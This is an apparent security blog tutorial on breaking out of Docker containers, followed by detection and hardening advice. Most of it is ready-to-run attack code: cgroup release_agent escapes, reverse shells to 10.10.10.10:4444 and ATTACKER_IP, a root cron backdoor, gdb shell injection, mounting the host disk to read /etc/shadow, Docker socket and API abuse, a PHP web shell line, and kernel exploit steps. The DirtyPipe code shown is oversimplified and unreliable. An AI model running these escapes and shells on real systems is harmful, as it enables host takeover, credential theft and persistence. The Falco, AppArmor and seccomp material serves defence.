Docker container security and escape techniques

Docker Container Escape Techniques

Docker container escape techniques including privileged containers, exposed Docker sockets, kernel exploits, and misconfiguration exploitation methods.

Introduction

Container technology has revolutionized application deployment, but the promise of isolation comes with security trade-offs. Docker container escapes represent a critical security boundary breach where an attacker breaks out of container isolation to gain access to the host system. Understanding these escape techniques is essential for both offensive security practitioners and defenders hardening containerized environments.

Container escapes typically exploit one of several weaknesses:

  • Misconfigured container runtime settings (privileged mode, excessive capabilities)
  • Exposed Docker socket or container runtime APIs
  • Kernel vulnerabilities affecting both container and host
  • Namespace and cgroup misconfigurations
  • Mounted host resources with inadequate permissions

High-Impact Exploitation

Successful container escapes often result in complete host compromise with root privileges. A single misconfigured container can provide attackers with full control over the underlying host and all other containers running on it.

Impact

  • Complete Host Compromise: Root-level access to the underlying host system
  • Lateral Movement: Access to all containers running on the compromised host
  • Data Exfiltration: Unrestricted access to host filesystems, databases, and secrets
  • Persistence: Ability to modify host system for long-term access
  • Supply Chain Attacks: Compromise of CI/CD pipelines and container registries
  • Kubernetes Cluster Compromise: Pivot from single container to entire cluster
  • Compliance Violations: Breach of security boundaries required by regulatory frameworks

In cloud environments, host compromise can provide access to cloud provider metadata services, potentially exposing credentials and enabling further cloud infrastructure compromise.

Privileged Container Escapes

Understanding Privileged Mode

When a container runs with --privileged, it gains nearly all capabilities of the host:

# Running a privileged container
docker run --privileged -it ubuntu bash

# Inside the container, you have access to:
# - All devices (/dev/*)
# - Full capability set (CAP_SYS_ADMIN, etc.)
# - Ability to load kernel modules
# - Access to modify host resources

Detection from Inside Container:

# Check if running as privileged
if [ -e /dev/kmsg ]; then
    echo "Likely running as privileged (access to kernel message buffer)"
fi

# Check capabilities
capsh --print | grep Current

# Check for full device access
ls -la /dev | wc -l  # Privileged containers see many more devices

Privileged Container Escape via /proc

Technique 1: Host Process Injection

# Inside privileged container
# Find host process with writable /proc/[PID]/root
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    if [ -w /proc/$pid/root ] 2>/dev/null; then
        echo "Writable: /proc/$pid/root"
        # Execute command on host via chroot
        chroot /proc/$pid/root /bin/bash -c "id; hostname"
    fi
done

Technique 2: Release Agent Exploit (Classic)

# Create payload on host filesystem
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Register release agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create payload script
cat > /cmd << EOF
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
EOF
chmod a+x /cmd

# Trigger execution
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Modern Release Agent Escape:

#!/bin/bash
# Automated cgroup release_agent escape

# Create cgroup and mount
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# Enable notification
echo 1 > /tmp/cgrp/x/notify_on_release

# Find host path
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Setup reverse shell payload
echo "$host_path/exploit" > /tmp/cgrp/release_agent
cat > /exploit << 'EOF'
#!/bin/sh
exec 5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT
cat <&5 | while read line; do $line 2>&5 >&5; done
EOF
chmod +x /exploit

# Trigger by killing process in cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1

Privileged Container Escape via Devices

Technique: Disk Device Access

# List available block devices
fdisk -l

# Mount host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
ls -la /mnt/host
cat /mnt/host/etc/shadow

# Establish persistence
cat << EOF > /mnt/host/etc/cron.d/backdoor
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
EOF

Technique: Kernel Module Loading

# Check if kernel modules can be loaded
lsmod
modprobe -v test 2>&1 | grep -q "Operation not permitted" || echo "Can load modules!"

# Load malicious kernel module
insmod /tmp/rootkit.ko

# Or load existing kernel modules for exploitation
modprobe overlay
modprobe nf_nat

Capability-Based Escapes

CAP_SYS_ADMIN Abuse

CAP_SYS_ADMIN is nearly equivalent to root and enables numerous escape techniques:

# Check for CAP_SYS_ADMIN
capsh --print | grep sys_admin

# Or using getpcaps
getpcaps $$ 2>&1 | grep cap_sys_admin

Escape via Namespace Manipulation:

#!/bin/bash
# CAP_SYS_ADMIN container escape via mount namespace

# Create a new mount namespace
unshare -m /bin/bash

# Mount host filesystem
mkdir -p /mnt/host
mount -t proc none /proc
mount --bind /proc/1/root /mnt/host

# Access host filesystem
ls -la /mnt/host
chroot /mnt/host /bin/bash

CAP_SYS_PTRACE Abuse

# Check for CAP_SYS_PTRACE
capsh --print | grep sys_ptrace

# Find host processes
ps aux | grep -v "^\[" | head

# Attach to host process and inject shellcode
gdb -p [HOST_PID]
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'")
(gdb) detach
(gdb) quit

CAP_DAC_READ_SEARCH Abuse

Allows bypassing file read permission checks:

# Read any file on accessible filesystems
python3 << 'EOF'
import os
import ctypes

# Open host root (if mounted)
fd = os.open('/host', os.O_RDONLY)
os.chroot('/proc/self/fd/%d' % fd)

# Now can read any file
with open('/etc/shadow', 'r') as f:
    print(f.read())
EOF

Docker Socket Exposure

Exposed Docker Socket (/var/run/docker.sock)

One of the most critical misconfigurations:

# Check for exposed Docker socket
ls -la /var/run/docker.sock

# If present, you can control the Docker daemon
docker ps  # List all containers on host
docker images  # List all images

Escape Technique 1: Mount Host Filesystem

# Create privileged container with host filesystem mounted
docker run -v /:/hostfs -it ubuntu bash

# Inside new container, access host
chroot /hostfs /bin/bash

Escape Technique 2: Privileged Container Creation

# Start privileged container
docker run --privileged --pid=host -it ubuntu nsenter --target 1 --mount --uts --ipc --net /bin/bash

# You're now in host namespaces with root privileges

Automated Exploitation:

# One-liner Docker socket escape
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Docker API Exploitation

If Docker API is exposed (TCP 2375/2376):

# Check for exposed Docker API
curl http://[TARGET]:2375/version

# List containers
curl http://[TARGET]:2375/containers/json

# Create privileged container
curl -X POST -H "Content-Type: application/json" \
  http://[TARGET]:2375/containers/create \
  -d '{
    "Image": "ubuntu",
    "Cmd": ["/bin/bash"],
    "Mounts": [{
      "Type": "bind",
      "Source": "/",
      "Target": "/host"
    }],
    "Privileged": true,
    "Tty": true
  }'

Kernel Exploits

DirtyPipe (CVE-2022-0847)

Recent Linux kernel vulnerability affecting containers:

// DirtyPipe exploit for container escape
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    // Open read-only file
    int fd = open("/etc/passwd", O_RDONLY);

    // Create pipe
    int pipefd[2];
    pipe(pipefd);

    // Write to pipe
    write(pipefd[1], "root::0:0:root:/root:/bin/bash\n", 32);

    // Splice from pipe to file (overwrites data)
    splice(pipefd[0], NULL, fd, NULL, 1, 0);

    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);

    // Authenticate as root
    execl("/bin/su", "su", NULL);
}

DirtyCow (CVE-2016-5195)

Classic kernel race condition:

# Clone exploit
git clone https://github.com/dirtycow/dirtycow.github.io.git
cd dirtycow.github.io/pokemon

# Compile
gcc -pthread dirty.c -o dirty -lcrypt

# Run exploit
./dirty

# Gain root shell
su firefart  # Password: dirtyCowFun

OverlayFS Exploits

# Check for vulnerable kernel
uname -r  # Vulnerable: < 5.11

# Clone exploit
git clone https://github.com/briskets/CVE-2021-3493.git
cd CVE-2021-3493

# Compile and run
gcc exploit.c -o exploit
./exploit

# Should drop to root shell

Misconfiguration-Based Escapes

Host Process Namespace Sharing (--pid=host)

# If container shares host PID namespace
docker run --pid=host -it ubuntu bash

# Inside container
ps aux  # Shows all host processes

# Inject into systemd (PID 1)
nsenter --target 1 --mount --uts --ipc --net --pid /bin/bash

Host Network Namespace (--net=host)

# Container using host network stack
docker run --net=host -it ubuntu bash

# Can now access host network services
ss -tlnp  # See all listening services
# Access services bound to localhost
curl http://localhost:22  # SSH

Sensitive Host Paths Mounted

/var/log mounted:

# If /var/log is writable
# Inject into log files that are processed
echo '<?php system($_GET["cmd"]); ?>' >> /var/log/apache2/access.log

/proc or /sys mounted with write:

# Write to core_pattern for code execution
echo '|/tmp/exploit' > /proc/sys/kernel/core_pattern

# Trigger core dump
kill -SIGSEGV $$

Detection

From Inside Container

Check for Escape Indicators:

#!/bin/bash
# Container escape detection script

echo "[*] Checking for container escape vectors..."

# Check if privileged
if [ -e /dev/kmsg ]; then
    echo "[!] Running as PRIVILEGED container"
fi

# Check for Docker socket
if [ -e /var/run/docker.sock ]; then
    echo "[!] Docker socket exposed: /var/run/docker.sock"
fi

# Check capabilities
echo "[*] Current capabilities:"
capsh --print | grep Current

# Check for dangerous capabilities
for cap in cap_sys_admin cap_sys_ptrace cap_sys_module cap_dac_read_search; do
    capsh --print | grep -q $cap && echo "[!] Dangerous capability: $cap"
done

# Check for host namespaces
if [ "$(readlink /proc/1/ns/pid)" == "$(readlink /proc/self/ns/pid)" ]; then
    echo "[!] Sharing PID namespace with host"
fi

# Check for mounted host paths
echo "[*] Suspicious mounts:"
mount | grep -E "^\/(sys|proc|dev|var)" | grep -v "type (proc|sysfs|devtmpfs)"

# Check for accessible devices
echo "[*] Accessible block devices:"
ls /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null

From Host System

Monitor Container Escape Attempts:

# Audit privileged containers
docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.Privileged}}' | grep true

# Detect containers with dangerous capabilities
docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.CapAdd}}' | grep -E "SYS_ADMIN|SYS_PTRACE|SYS_MODULE"

# Monitor for container runtime exploitation
auditctl -w /var/run/docker.sock -p war -k docker_socket_access
auditctl -w /proc/sys/kernel/core_pattern -p wa -k core_pattern_modification

Falco Rules for Container Escape:

# Falco rule to detect container escape attempts
- rule: Container Escape Attempt
  desc: Detect potential container escape techniques
  condition: >
    (spawned_process and container and
     (proc.name in (nsenter, unshare, capsh) or
      proc.cmdline contains "chroot /proc" or
      proc.cmdline contains "docker run --privileged"))
  output: >
    Container escape attempt detected (user=%user.name container=%container.name
    command=%proc.cmdline)
  priority: CRITICAL

Prevention and Hardening

Run Containers with Minimal Privileges

# Secure container execution
docker run \
  --rm \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --security-opt=no-new-privileges \
  --user 1000:1000 \
  -it ubuntu bash

Docker Security Best Practices

Dockerfile Hardening:

FROM ubuntu:22.04

# Run as non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser

# Set proper file ownership
COPY --chown=appuser:appuser ./app /app

# Drop all capabilities
USER appuser

# Use read-only root filesystem
# docker run --read-only ...

ENTRYPOINT ["/app/main"]

AppArmor Profile

# AppArmor profile for Docker containers
cat > /etc/apparmor.d/docker-secure << 'EOF'
#include <tunables/global>

profile docker-secure flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  # Deny access to sensitive files
  deny /proc/sys/kernel/** wl,
  deny /sys/kernel/security/** wl,
  deny /proc/sysrq-trigger rwklx,

  # Deny capability changes
  deny capability sys_admin,
  deny capability sys_ptrace,
  deny capability sys_module,

  # Allow only necessary capabilities
  capability net_bind_service,
  capability setuid,
  capability setgid,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/docker-secure

# Run container with profile
docker run --security-opt apparmor=docker-secure -it ubuntu bash

Seccomp Profile

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": [
        "read", "write", "open", "close", "stat", "fstat",
        "poll", "lseek", "mmap", "mprotect", "munmap",
        "brk", "rt_sigaction", "rt_sigprocmask"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}
# Run with seccomp profile
docker run --security-opt seccomp=secure-profile.json -it ubuntu bash

User Namespaces

Enable user namespace remapping:

# Configure dockerd with user namespaces
cat > /etc/docker/daemon.json << EOF
{
  "userns-remap": "default"
}
EOF

systemctl restart docker

# Root in container is now unprivileged user on host

Kubernetes Pod Security

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: ubuntu:22.04
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
        - ALL
        add:
        - NET_BIND_SERVICE
    volumeMounts:
    - name: tmp
      mountPath: /tmp
  volumes:
  - name: tmp
    emptyDir: {}

References

Next Steps

If container escape vulnerabilities are identified:

  • Audit all running containers for privileged mode and dangerous capabilities
  • Implement Pod Security Standards in Kubernetes environments
  • Deploy runtime security monitoring with Falco or similar tools
  • Enforce image scanning in CI/CD pipelines for vulnerability detection
  • Implement network segmentation to limit blast radius
  • Review related security topics:
    • Kubernetes security best practices
    • Container image hardening
    • Supply chain security for containers

Takeaway: Container escapes represent a critical security boundary breach. The combination of minimal privileges, capability dropping, runtime security monitoring, and user namespace isolation provides defense-in-depth against container breakouts. Make container security hardening a mandatory part of your deployment pipeline.

Last updated on

Docker Container Escape Techniques | Drake Axelrod